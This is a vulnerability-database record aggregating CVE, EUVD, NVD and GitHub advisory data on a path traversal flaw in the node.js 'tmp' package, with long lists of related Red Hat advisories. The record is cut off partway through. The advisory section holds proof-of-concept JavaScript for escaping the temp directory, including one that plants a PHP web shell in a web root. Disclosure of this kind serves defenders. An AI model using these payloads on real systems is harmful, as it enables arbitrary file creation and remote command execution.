{"id":"EUVD-2026-36264","revision":null,"records":[{"revision":"4bc22823660243cf964b41c1c426f7f0","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-44705","aliases":[],"title":"tmp: Path Traversal via unsanitized prefix/postfix enables directory escape","description":"tmp is a temporary file and directory creator for node.js. Prior to 0.2.6, the tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization. This vulnerability is fixed in 0.2.6.","state":0,"publishedAt":"2026-06-11T15:42:46.565+00:00","modifiedAt":"2026-06-13T02:20:44.547+00:00","affected":[{"ecosystem":"Vendor product","name":"node-tmp","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"raszi\",\n                    \"product\": \"node-tmp\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.2.6\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","score":7.7,"severity":"HIGH"}],"references":["https://github.com/raszi/node-tmp/security/advisories/GHSA-ph9p-34f9-6g65"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-44705","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-44705","identifiers":["CVE-2026-44705"]},"retained":false,"historicalAffected":[]},{"revision":"f29ced75d4ff4461ab90b57567d86435","observedAt":"2026-11-07T10:32:03.152+00:00","statement":{"source":"euvd","id":"EUVD-2026-36264","aliases":["CVE-2026-44705","GHSA-ph9p-34f9-6g65"],"title":"tmp is a temporary file and directory creator for node.js. Prior to 0.2.6, the tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix,…","description":"tmp is a temporary file and directory creator for node.js. Prior to 0.2.6, the tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization. This vulnerability is fixed in 0.2.6.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","score":7.7,"severity":null}],"references":["https://github.com/raszi/node-tmp/security/advisories/GHSA-ph9p-34f9-6g65"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-36264","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 11, 2026, 3:42:46 PM","dateUpdated":"Jun 13, 2026, 2:20:44 AM"},"relatedAdvisories":[{"id":"RHSA-2026:60520","title":"Red Hat Security Advisory: RHOAI 3.4.4 - Red Hat OpenShift AI","vulnerabilityIds":["CVE-2025-66471","CVE-2025-66626","CVE-2025-71329","CVE-2025-71330","CVE-2026-0545","CVE-2026-2614","CVE-2026-5241","CVE-2026-5422","CVE-2026-6322","CVE-2026-6734","CVE-2026-8643","CVE-2026-9697","CVE-2026-12143","CVE-2026-12151","CVE-2026-12243","CVE-2026-12481","CVE-2026-13149","CVE-2026-13311","CVE-2026-13676","CVE-2026-13717","CVE-2026-14450","CVE-2026-15154","CVE-2026-15218","CVE-2026-15378","CVE-2026-15467","CVE-2026-15581","CVE-2026-16745","CVE-2026-18608","CVE-2026-18611","CVE-2026-18617","CVE-2026-18620","CVE-2026-18621","CVE-2026-18948","CVE-2026-18951","CVE-2026-18982","CVE-2026-25681","CVE-2026-27136","CVE-2026-32280","CVE-2026-32283","CVE-2026-33079","CVE-2026-33245","CVE-2026-33811","CVE-2026-33814","CVE-2026-34993","CVE-2026-35397","CVE-2026-39820","CVE-2026-39821","CVE-2026-39828","CVE-2026-39829","CVE-2026-39830","CVE-2026-39831","CVE-2026-39835","CVE-2026-40171","CVE-2026-41672","CVE-2026-41673","CVE-2026-41675","CVE-2026-42211","CVE-2026-42215","CVE-2026-42264","CVE-2026-42266","CVE-2026-42284","CVE-2026-42305","CVE-2026-42311","CVE-2026-42338","CVE-2026-42342","CVE-2026-42499","CVE-2026-42502","CVE-2026-42508","CVE-2026-42557","CVE-2026-44017","CVE-2026-44018","CVE-2026-44020","CVE-2026-44240","CVE-2026-44244","CVE-2026-44289","CVE-2026-44290","CVE-2026-44291","CVE-2026-44292","CVE-2026-44293","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-44513","CVE-2026-44660","CVE-2026-44705","CVE-2026-44724","CVE-2026-44727","CVE-2026-44827","CVE-2026-44843","CVE-2026-45292","CVE-2026-45623","CVE-2026-45736","CVE-2026-45740","CVE-2026-45804","CVE-2026-46595","CVE-2026-46597","CVE-2026-46625","CVE-2026-47214","CVE-2026-48526","CVE-2026-48710","CVE-2026-48712","CVE-2026-48779","CVE-2026-48801","CVE-2026-49476","CVE-2026-49477","CVE-2026-49851","CVE-2026-49978","CVE-2026-50193","CVE-2026-53550","CVE-2026-54058","CVE-2026-54060","CVE-2026-54283","CVE-2026-54293","CVE-2026-55379","CVE-2026-55380","CVE-2026-55685","CVE-2026-56121","CVE-2026-56208","CVE-2026-56209","CVE-2026-56210","CVE-2026-56211","CVE-2026-58049","CVE-2026-59197","CVE-2026-59199","CVE-2026-59200","CVE-2026-59204","CVE-2026-59205","CVE-2026-59869","CVE-2026-59873","CVE-2026-59874","CVE-2026-59884","CVE-2026-59885","CVE-2026-59886","CVE-2026-64835","CVE-2026-64849","CVE-2026-69152","CVE-2026-69192","CVE-2026-69243","CVE-2026-69244"]},{"id":"RHSA-2026:65514","title":"Red Hat Security Advisory: Red Hat Quay 3.9.26","vulnerabilityIds":["CVE-2026-15792","CVE-2026-16221","CVE-2026-18255","CVE-2026-32283","CVE-2026-33818","CVE-2026-44705","CVE-2026-49477","CVE-2026-56852","CVE-2026-56853","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-67213","CVE-2026-67214","CVE-2026-67313","CVE-2026-67314","CVE-2026-67320","CVE-2026-67321","CVE-2026-69152","CVE-2026-69153","CVE-2026-73086","CVE-2026-73088","CVE-2026-73089"]},{"id":"RHSA-2026:68747","title":"Red Hat Security Advisory: General availability of the satellite/iop-remediations-rhel9 container image","vulnerabilityIds":["CVE-2026-12143","CVE-2026-44705","CVE-2026-59869","CVE-2026-75899","CVE-2026-75931","CVE-2026-75975","CVE-2026-76172","CVE-2026-82417","CVE-2026-84292","CVE-2026-84375","CVE-2026-84394"]},{"id":"msrc_CVE-2026-44705","title":"tmp: Path Traversal via unsanitized prefix/postfix enables directory escape","vulnerabilityIds":["CVE-2026-44705"]},{"id":"RHSA-2026:66523","title":"Red Hat Security Advisory: Red Hat Quay 3.12.22","vulnerabilityIds":["CVE-2026-15792","CVE-2026-18255","CVE-2026-32283","CVE-2026-33818","CVE-2026-44705","CVE-2026-49477","CVE-2026-56852","CVE-2026-56853","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-67213","CVE-2026-67214","CVE-2026-67313","CVE-2026-67314","CVE-2026-67320","CVE-2026-67321","CVE-2026-69152","CVE-2026-69153","CVE-2026-73086","CVE-2026-73088","CVE-2026-73089"]},{"id":"RHSA-2026:57590","title":"Red Hat Security Advisory: rh-podman-desktop security, bug fix, and enhancement update","vulnerabilityIds":["CVE-2026-9595","CVE-2026-12143","CVE-2026-13149","CVE-2026-13676","CVE-2026-14257","CVE-2026-34986","CVE-2026-42338","CVE-2026-42570","CVE-2026-44705","CVE-2026-45623","CVE-2026-45736","CVE-2026-45740","CVE-2026-48068","CVE-2026-48779","CVE-2026-48801","CVE-2026-49978","CVE-2026-56876","CVE-2026-59869","CVE-2026-59873","CVE-2026-59874","CVE-2026-59877","CVE-2026-69152","CVE-2026-69153","CVE-2026-69192"]},{"id":"RHSA-2026:56338","title":"Red Hat Security Advisory: Ansible plug-ins for Red Hat Developer Hub Product Release Update","vulnerabilityIds":["CVE-2026-9595","CVE-2026-12143","CVE-2026-14257","CVE-2026-44705","CVE-2026-45623","CVE-2026-46625","CVE-2026-54272","CVE-2026-69152","CVE-2026-69153","CVE-2026-69192","CVE-2026-73086","CVE-2026-73088","CVE-2026-73089"]},{"id":"RHSA-2026:62260","title":"Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.30.0 Release.","vulnerabilityIds":["CVE-2025-55163","CVE-2026-8286","CVE-2026-9277","CVE-2026-9547","CVE-2026-9563","CVE-2026-10050","CVE-2026-10051","CVE-2026-12143","CVE-2026-12151","CVE-2026-13149","CVE-2026-15075","CVE-2026-15076","CVE-2026-27136","CVE-2026-34986","CVE-2026-39820","CVE-2026-39831","CVE-2026-39835","CVE-2026-40898","CVE-2026-40983","CVE-2026-40984","CVE-2026-41242","CVE-2026-41695","CVE-2026-41716","CVE-2026-42264","CVE-2026-42499","CVE-2026-44705","CVE-2026-45149","CVE-2026-45416","CVE-2026-45623","CVE-2026-45674","CVE-2026-46597","CVE-2026-46681","CVE-2026-47691","CVE-2026-48020","CVE-2026-48068","CVE-2026-48491","CVE-2026-49978","CVE-2026-50010","CVE-2026-50193","CVE-2026-53488","CVE-2026-53492","CVE-2026-53622","CVE-2026-54399","CVE-2026-54428","CVE-2026-54512","CVE-2026-54513","CVE-2026-54763","CVE-2026-55831","CVE-2026-55833","CVE-2026-56745","CVE-2026-56746","CVE-2026-56819","CVE-2026-59296","CVE-2026-59869","CVE-2026-59873","CVE-2026-59874","CVE-2026-59877","CVE-2026-59888","CVE-2026-59899","CVE-2026-65600","CVE-2026-65601","CVE-2026-67213","CVE-2026-67214","CVE-2026-68494","CVE-2026-69152","CVE-2026-69153","CVE-2026-73086","CVE-2026-73566","CVE-2026-73646","CVE-2026-75838"]},{"id":"RHSA-2026:59135","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update","vulnerabilityIds":["CVE-2026-15307","CVE-2026-34993","CVE-2026-39373","CVE-2026-44705","CVE-2026-52902","CVE-2026-59886","CVE-2026-67322","CVE-2026-67323","CVE-2026-67324","CVE-2026-67325","CVE-2026-69243","CVE-2026-69244","CVE-2026-71364","CVE-2026-71365","CVE-2026-71366","CVE-2026-73620","CVE-2026-78677","CVE-2026-78679"]},{"id":"RHSA-2026:63307","title":"Red Hat Security Advisory: Red Hat Quay 3.15.8","vulnerabilityIds":["CVE-2026-15927","CVE-2026-18255","CVE-2026-44705","CVE-2026-49477","CVE-2026-56852","CVE-2026-57231","CVE-2026-59869","CVE-2026-67214","CVE-2026-67313","CVE-2026-67314","CVE-2026-67320","CVE-2026-67321","CVE-2026-69152","CVE-2026-69153","CVE-2026-73086","CVE-2026-73088","CVE-2026-73089"]},{"id":"RHSA-2026:87410","title":"Red Hat Security Advisory: RHOAI 2.25.12 - Red Hat OpenShift AI","vulnerabilityIds":["CVE-2024-12224","CVE-2025-14920","CVE-2025-14921","CVE-2025-14924","CVE-2025-14925","CVE-2025-14926","CVE-2025-14927","CVE-2025-14928","CVE-2025-14929","CVE-2025-14930","CVE-2025-61726","CVE-2025-61729","CVE-2026-5241","CVE-2026-5497","CVE-2026-6734","CVE-2026-8643","CVE-2026-9697","CVE-2026-11822","CVE-2026-11824","CVE-2026-12151","CVE-2026-12860","CVE-2026-15143","CVE-2026-15574","CVE-2026-15679","CVE-2026-15925","CVE-2026-16221","CVE-2026-18427","CVE-2026-18446","CVE-2026-18949","CVE-2026-19481","CVE-2026-19484","CVE-2026-19534","CVE-2026-25681","CVE-2026-25960","CVE-2026-27136","CVE-2026-28390","CVE-2026-28684","CVE-2026-31812","CVE-2026-32283","CVE-2026-33186","CVE-2026-33805","CVE-2026-33811","CVE-2026-33814","CVE-2026-34993","CVE-2026-39821","CVE-2026-39852","CVE-2026-39892","CVE-2026-40682","CVE-2026-41178","CVE-2026-42502","CVE-2026-42561","CVE-2026-44431","CVE-2026-44432","CVE-2026-44660","CVE-2026-44705","CVE-2026-45820","CVE-2026-47219","CVE-2026-48526","CVE-2026-48710","CVE-2026-48746","CVE-2026-49114","CVE-2026-49825","CVE-2026-49855","CVE-2026-50559","CVE-2026-54283","CVE-2026-54399","CVE-2026-54428","CVE-2026-55831","CVE-2026-55833","CVE-2026-56121","CVE-2026-56746","CVE-2026-56819","CVE-2026-56853","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-58059","CVE-2026-59296","CVE-2026-59879","CVE-2026-59884","CVE-2026-59885","CVE-2026-59886","CVE-2026-59899","CVE-2026-62243","CVE-2026-62384","CVE-2026-63209","CVE-2026-63374","CVE-2026-65898","CVE-2026-65918","CVE-2026-66007","CVE-2026-67213","CVE-2026-67214","CVE-2026-67312","CVE-2026-68494","CVE-2026-68497","CVE-2026-68770","CVE-2026-69097","CVE-2026-69112","CVE-2026-69152","CVE-2026-69153","CVE-2026-69243","CVE-2026-69244","CVE-2026-71281","CVE-2026-73086","CVE-2026-73088","CVE-2026-73089","CVE-2026-73415","CVE-2026-73417","CVE-2026-73502","CVE-2026-73508","CVE-2026-73620","CVE-2026-73622","CVE-2026-73623","CVE-2026-73624","CVE-2026-73625","CVE-2026-73627","CVE-2026-73646","CVE-2026-75838","CVE-2026-75899","CVE-2026-75931","CVE-2026-75975","CVE-2026-76098","CVE-2026-76169","CVE-2026-76172","CVE-2026-76222","CVE-2026-76905","CVE-2026-77354","CVE-2026-77874","CVE-2026-78676","CVE-2026-78677","CVE-2026-78679","CVE-2026-78682","CVE-2026-79674","CVE-2026-79675","CVE-2026-80205","CVE-2026-81722","CVE-2026-81724","CVE-2026-81727","CVE-2026-82397","CVE-2026-82417","CVE-2026-84292","CVE-2026-84375","CVE-2026-84394","CVE-2026-84428","CVE-2026-84445","CVE-2026-84469","CVE-2026-84504","CVE-2026-84782","CVE-2026-84961","CVE-2026-85124","CVE-2026-85152","CVE-2026-85525","CVE-2026-86049","CVE-2026-86332","CVE-2026-87776","CVE-2026-87817","CVE-2026-87819","CVE-2026-88029","CVE-2026-88031","CVE-2026-89418","CVE-2026-89425","CVE-2026-91777","CVE-2026-91990","CVE-2026-92599","CVE-2026-93599","CVE-2026-93657","CVE-2026-93749","CVE-2026-96749","CVE-2026-102831","CVE-2026-102925","CVE-2026-102930","CVE-2026-102937","CVE-2026-102938","CVE-2026-103262","CVE-2026-104851","CVE-2026-105744"]},{"id":"RHSA-2026:66352","title":"Red Hat Security Advisory: OpenShift Container Platform 4.21.33 bug fix and security update","vulnerabilityIds":["CVE-2026-25681","CVE-2026-27136","CVE-2026-27145","CVE-2026-33814","CVE-2026-33818","CVE-2026-39828","CVE-2026-39829","CVE-2026-39830","CVE-2026-39831","CVE-2026-39835","CVE-2026-42502","CVE-2026-42504","CVE-2026-44705","CVE-2026-46597","CVE-2026-48801","CVE-2026-53488","CVE-2026-54284","CVE-2026-56852","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862"]},{"id":"RHSA-2026:81110","title":"Red Hat Security Advisory: Red Hat Quay 3.18.1","vulnerabilityIds":["CVE-2026-15792","CVE-2026-16221","CVE-2026-18255","CVE-2026-44705","CVE-2026-49477","CVE-2026-49825","CVE-2026-54058","CVE-2026-54770","CVE-2026-55379","CVE-2026-55380","CVE-2026-59197","CVE-2026-59199","CVE-2026-59200","CVE-2026-59204","CVE-2026-59205","CVE-2026-59886","CVE-2026-67214","CVE-2026-67313","CVE-2026-67314","CVE-2026-67320","CVE-2026-67321"]},{"id":"RHSA-2026:69255","title":"Red Hat Security Advisory: Red Hat Quay 3.16.6","vulnerabilityIds":["CVE-2026-13149","CVE-2026-15792","CVE-2026-15927","CVE-2026-16221","CVE-2026-18255","CVE-2026-32283","CVE-2026-33818","CVE-2026-39822","CVE-2026-44705","CVE-2026-49477","CVE-2026-54058","CVE-2026-54060","CVE-2026-54770","CVE-2026-55379","CVE-2026-55380","CVE-2026-56852","CVE-2026-56853","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-57231","CVE-2026-59197","CVE-2026-59199","CVE-2026-59200","CVE-2026-59204","CVE-2026-59205","CVE-2026-59869","CVE-2026-59879","CVE-2026-59885","CVE-2026-59886","CVE-2026-67213","CVE-2026-67214","CVE-2026-67313","CVE-2026-67314","CVE-2026-67320","CVE-2026-67321","CVE-2026-69152","CVE-2026-73086","CVE-2026-75593","CVE-2026-82417","CVE-2026-84375"]},{"id":"RHSA-2026:74511","title":"Red Hat Security Advisory: Red Hat Quay 3.17.5","vulnerabilityIds":["CVE-2026-15792","CVE-2026-16221","CVE-2026-18255","CVE-2026-33818","CVE-2026-39820","CVE-2026-39822","CVE-2026-42151","CVE-2026-42154","CVE-2026-42499","CVE-2026-42504","CVE-2026-44705","CVE-2026-49477","CVE-2026-49825","CVE-2026-54770","CVE-2026-56852","CVE-2026-56853","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-67213","CVE-2026-67214","CVE-2026-67313","CVE-2026-67314","CVE-2026-67320","CVE-2026-67321","CVE-2026-69153","CVE-2026-84292","CVE-2026-84394"]},{"id":"RHSA-2026:66377","title":"Red Hat Security Advisory: OpenShift Container Platform 4.20.38 bug fix and security update","vulnerabilityIds":["CVE-2026-27136","CVE-2026-33814","CVE-2026-33818","CVE-2026-44705","CVE-2026-48801","CVE-2026-53488","CVE-2026-54284","CVE-2026-56852","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862"]},{"id":"RHSA-2026:66358","title":"Red Hat Security Advisory: OpenShift Container Platform 4.22.14 bug fix and security update","vulnerabilityIds":["CVE-2026-27136","CVE-2026-33814","CVE-2026-33818","CVE-2026-39828","CVE-2026-39835","CVE-2026-41178","CVE-2026-42502","CVE-2026-44705","CVE-2026-46597","CVE-2026-54284","CVE-2026-55204","CVE-2026-56852","CVE-2026-56853","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862"]},{"id":"RHSA-2026:59153","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.7 Container Release Update","vulnerabilityIds":["CVE-2026-9595","CVE-2026-12143","CVE-2026-15307","CVE-2026-27459","CVE-2026-39363","CVE-2026-44244","CVE-2026-44545","CVE-2026-44705","CVE-2026-46625","CVE-2026-59886","CVE-2026-69243","CVE-2026-69244","CVE-2026-71364","CVE-2026-71365","CVE-2026-71366"]},{"id":"RHSA-2026:66084","title":"Red Hat Security Advisory: Red Hat Quay 3.10.26","vulnerabilityIds":["CVE-2026-15792","CVE-2026-18255","CVE-2026-32283","CVE-2026-33818","CVE-2026-44705","CVE-2026-49477","CVE-2026-56852","CVE-2026-56853","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-67213","CVE-2026-67214","CVE-2026-67313","CVE-2026-67314","CVE-2026-67320","CVE-2026-67321","CVE-2026-69152","CVE-2026-69153","CVE-2026-73086","CVE-2026-73088","CVE-2026-73089","CVE-2026-84375"]},{"id":"RHSA-2026:70267","title":"Red Hat Security Advisory: Red Hat Quay 3.14.9","vulnerabilityIds":["CVE-2026-4427","CVE-2026-6322","CVE-2026-9277","CVE-2026-10143","CVE-2026-12143","CVE-2026-13149","CVE-2026-13676","CVE-2026-14257","CVE-2026-15792","CVE-2026-15927","CVE-2026-16221","CVE-2026-18255","CVE-2026-32591","CVE-2026-33747","CVE-2026-33748","CVE-2026-33818","CVE-2026-39820","CVE-2026-39821","CVE-2026-39822","CVE-2026-39828","CVE-2026-39829","CVE-2026-39830","CVE-2026-39831","CVE-2026-39832","CVE-2026-39835","CVE-2026-42151","CVE-2026-42154","CVE-2026-42499","CVE-2026-42504","CVE-2026-42508","CVE-2026-44432","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-44705","CVE-2026-44990","CVE-2026-46595","CVE-2026-46597","CVE-2026-48526","CVE-2026-49477","CVE-2026-54058","CVE-2026-54060","CVE-2026-55379","CVE-2026-55380","CVE-2026-56852","CVE-2026-56853","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-57231","CVE-2026-59197","CVE-2026-59199","CVE-2026-59200","CVE-2026-59204","CVE-2026-59205","CVE-2026-59869","CVE-2026-59885","CVE-2026-59886","CVE-2026-67213","CVE-2026-67214","CVE-2026-67313","CVE-2026-67314","CVE-2026-67320","CVE-2026-67321","CVE-2026-69152","CVE-2026-69153","CVE-2026-73086","CVE-2026-73088","CVE-2026-73089","CVE-2026-84375"]},{"id":"RHSA-2026:59136","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update","vulnerabilityIds":["CVE-2026-12143","CVE-2026-15307","CVE-2026-34993","CVE-2026-39373","CVE-2026-44545","CVE-2026-44705","CVE-2026-52902","CVE-2026-59886","CVE-2026-67322","CVE-2026-67323","CVE-2026-67324","CVE-2026-67325","CVE-2026-69243","CVE-2026-69244","CVE-2026-71364","CVE-2026-71365","CVE-2026-71366","CVE-2026-73620","CVE-2026-78677","CVE-2026-78679"]},{"id":"RHSA-2026:59155","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Container Release Update","vulnerabilityIds":["CVE-2025-62718","CVE-2025-69223","CVE-2025-69227","CVE-2025-69228","CVE-2026-1615","CVE-2026-9595","CVE-2026-12143","CVE-2026-14257","CVE-2026-15307","CVE-2026-44545","CVE-2026-44705","CVE-2026-59886","CVE-2026-67325","CVE-2026-69152","CVE-2026-69243","CVE-2026-69244","CVE-2026-71364","CVE-2026-71365","CVE-2026-71366"]},{"id":"RHSA-2026:68766","title":"Red Hat Security Advisory: General availability of the satellite/iop-remediations-rhel9 container image","vulnerabilityIds":["CVE-2026-12143","CVE-2026-44705","CVE-2026-59869","CVE-2026-75899","CVE-2026-75931","CVE-2026-75975","CVE-2026-76172","CVE-2026-82417","CVE-2026-84375"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-36264","identifiers":["EUVD-2026-36264","CVE-2026-44705","GHSA-ph9p-34f9-6g65"]},"retained":false,"historicalAffected":[]},{"revision":"9375103b3660400ea39bb1b69fc6ebe8","observedAt":"2026-10-27T11:12:17.434+00:00","statement":{"source":"nvd","id":"CVE-2026-44705","aliases":[],"title":"tmp is a temporary file and directory creator for node.js. Prior to 0.2.6, the tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix,…","description":"tmp is a temporary file and directory creator for node.js. Prior to 0.2.6, the tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization. This vulnerability is fixed in 0.2.6.","state":0,"publishedAt":"2026-06-11T17:16:33.853+00:00","modifiedAt":"2026-10-26T11:10:00.157+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":7.7,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","score":8.2,"severity":"HIGH"}],"references":["https://github.com/raszi/node-tmp/security/advisories/GHSA-ph9p-34f9-6g65"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44705","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-22"],"productCriteria":["cpe:2.3:a:raszi:tmp:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-06-11T17:16:33.853","lastModified":"2026-10-26T11:10:00.157"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-44705","identifiers":["CVE-2026-44705"]},"retained":false,"historicalAffected":[]},{"revision":"1ebcb696c87141de94cc184c76961018","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-ph9p-34f9-6g65","aliases":["CVE-2026-44705"],"title":"tmp has Path Traversal via unsanitized prefix/postfix that enables directory escape","description":"### Summary\n\nThe tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the `prefix`, `postfix`, or `dir` options. By embedding traversal sequences (e.g., `../`) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization.\n\n### Details\n\n**Root Cause:**\nThe vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.\n\n**Technical Flow:**\n1. **Filename Construction:** tmp builds filenames as `<prefix>-<pid>-<random>-<postfix>`\n2. **Path Composition:** Final path computed as `path.join(tmpDir, opts.dir, name)`\n3. **Path Normalization:** Node.js `path.join()` normalizes traversal sequences, allowing escape\n4. **File Creation:** File created at the resulting (potentially escaped) path\n\n**Vulnerable Pattern:**\n```javascript\n// In tmp package internals\nconst name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`;\nconst finalPath = path.join(tmpDir, opts.dir || '', name);\n// No validation that finalPath remains within tmpDir\n```\n\n**Path Traversal Mechanics:**\n- **prefix/postfix traversal:** `../../../evil` in prefix escapes directory structure\n- **Absolute path bypass:** If `opts.dir` is absolute, `path.join()` ignores `tmpDir` completely\n- **Normalization exploitation:** `path.join()` resolves `../` sequences regardless of surrounding text\n- **Cross-platform impact:** Works on Windows (`..\\\\`), Unix (`../`), and mixed path systems\n\n**Key Vulnerability Points:**\n- No input validation on `prefix`, `postfix`, or `dir` parameters\n- Direct use of user input in path construction\n- Reliance on `path.join()` normalization without containment checks\n- Missing post-construction validation that final path remains within intended directory\n\n### PoC\n\n**Basic Path Traversal via prefix:**\n```javascript\nconst tmp = require('tmp');\nconst path = require('path');\nconst fs = require('fs');\n\n// Create a controlled base directory\nconst baseDir = fs.mkdtempSync('/tmp/safe-base-');\nconsole.log('Base directory:', baseDir);\n\n// Escape via prefix\ntmp.file({ \n  tmpdir: baseDir, \n  prefix: '../escaped' \n}, (err, filepath, fd, cleanup) => {\n  if (err) throw err;\n  \n  console.log('Created file:', filepath);\n  console.log('Relative to base:', path.relative(baseDir, filepath));\n  // Output shows: ../escaped-<pid>-<random>\n  \n  cleanup();\n});\n```\n\n**Directory Escape via postfix:**\n```javascript\ntmp.file({ \n  tmpdir: baseDir, \n  postfix: '/../../pwned.txt' \n}, (err, filepath, fd, cleanup) => {\n  if (err) throw err;\n  \n  console.log('Escaped file:', filepath);\n  console.log('Escaped outside base:', !filepath.startsWith(baseDir));\n  \n  cleanup();\n});\n```\n\n**Absolute Path Bypass via dir:**\n```javascript\ntmp.file({ \n  tmpdir: '/safe/tmp/dir', \n  dir: '/tmp/evil-location',\n  prefix: 'bypassed'\n}, (err, filepath, fd, cleanup) => {\n  if (err) throw err;\n  \n  console.log('Bypassed to:', filepath);\n  // File created in /tmp/evil-location instead of /safe/tmp/dir\n  \n  cleanup();\n});\n```\n\n**Advanced Multi-Vector Attack:**\n```javascript\nconst maliciousOpts = {\n  tmpdir: '/app/safe-tmp',\n  dir: '../../../tmp',           // Escape base\n  prefix: '../sensitive-area/',   // Further traversal\n  postfix: 'malicious.config'     // Controlled filename\n};\n\ntmp.file(maliciousOpts, (err, filepath, fd, cleanup) => {\n  // Results in file creation at: /tmp/sensitive-area/malicious.config\n  console.log('Final malicious path:', filepath);\n  cleanup();\n});\n```\n\n**Real-World Attack Simulation:**\n```javascript\n// Simulate web API that accepts user file prefix\nfunction createUserTempFile(userPrefix, content) {\n  return new Promise((resolve, reject) => {\n    tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => {\n      if (err) return reject(err);\n      \n      fs.writeSync(fd, content);\n      console.log('User file created at:', path);\n      resolve({ path, cleanup });\n    });\n  });\n}\n\n// Attacker input\nconst attackerPrefix = '../../../var/www/html/backdoor';\ncreateUserTempFile(attackerPrefix, '<?php system($_GET[\"cmd\"]); ?>');\n// Creates PHP backdoor in web root instead of temp directory\n```\n\n### Impact\n\n**Arbitrary File Creation:**\n- Files created outside intended temporary directories\n- Attacker control over file placement location\n- Potential to overwrite existing files (depending on creation flags)\n- Cross-platform exploitation capability\n\n**Attack Scenarios:**\n\n**1. Web Application Configuration Poisoning:**\n- User uploads file 